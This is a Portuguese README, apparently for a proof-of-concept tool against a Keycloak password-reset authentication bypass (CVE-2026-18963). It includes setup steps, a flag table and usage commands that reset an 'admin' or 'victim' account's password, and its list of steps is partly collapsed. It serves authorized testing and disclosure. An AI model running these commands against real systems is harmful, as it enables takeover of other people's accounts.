
Prova de conceito para o CVE-2026-18963, uma bypass de autenticação no fluxo de recuperação de senha do Keycloak, permitindo a redefinição de senha sem verificação adequada. Inclui modo de prova não destrutivo.
Prova de conceito para CVE-2026-18963, uma falha no fluxo de "Esqueci a senha" / seleção de credenciais do Keycloak que permite a um atacante alcançar a etapa UPDATE_PASSWORD — e redefinir a senha de uma conta alvo — sem concluir corretamente a verificação de identidade necessária (por exemplo, sem um OTP/fator secundário válido).
O script conduz o fluxo puramente via HTTP (sem necessidade de navegador/Selenium) ao:
tryAnotherWay.startSessionPolling() usada pela interface do Keycloak para manter a sessão de autenticação ativa.UPDATE_PASSWORD.Esta ferramenta é fornecida apenas para testes de segurança autorizados e pesquisa (testes de penetração que você esteja contratado para executar, CTFs, seus próprios ambientes de laboratório ou divulgação coordenada de vulnerabilidades). Executá-la contra sistemas que você não possui ou para os quais não tem autorização escrita explícita para testar é ilegal. O autor e os colaboradores não assumem responsabilidade por uso indevido ou danos causados por esta ferramenta.
Use --stop-at-update-password para produzir uma prova não destrutiva (alcançar UPDATE_PASSWORD sem enviar uma nova senha) sempre que isso for suficiente para demonstrar o problema.
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| Flag | Padrão | Descrição |
|---|---|---|
--base-url | http://localhost:8080 | URL base da instância do Keycloak alvo |
--realm | master | Realm alvo |
--client-id | account | ID do cliente OIDC usado para iniciar o fluxo de login |
--username | admin | Nome de usuário alvo |
--new-password | (obrigatório) | Senha a ser definida para a conta alvo |
--stop-at-update-password | off | Parar quando UPDATE_PASSWORD for alcançado, sem enviar uma nova senha (prova não-ofensiva) |
--timeout | 10.0 | Tempo limite da requisição HTTP em segundos |
--output-dir | debug_http | Diretório onde cada resposta HTML intermediária é salva para depuração |
--insecure | off | Desabilitar a verificação do certificado TLS |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
Cada resposta HTTP intermediária é salva em --output-dir (debug_http por padrão) como 01_login.html, 02_reset.html, ... para revisão offline. O script termina com código 0 em caso de sucesso e 1 em caso de falha, exibindo mensagens de progresso e diagnóstico no stdout.
Aurélien LOIE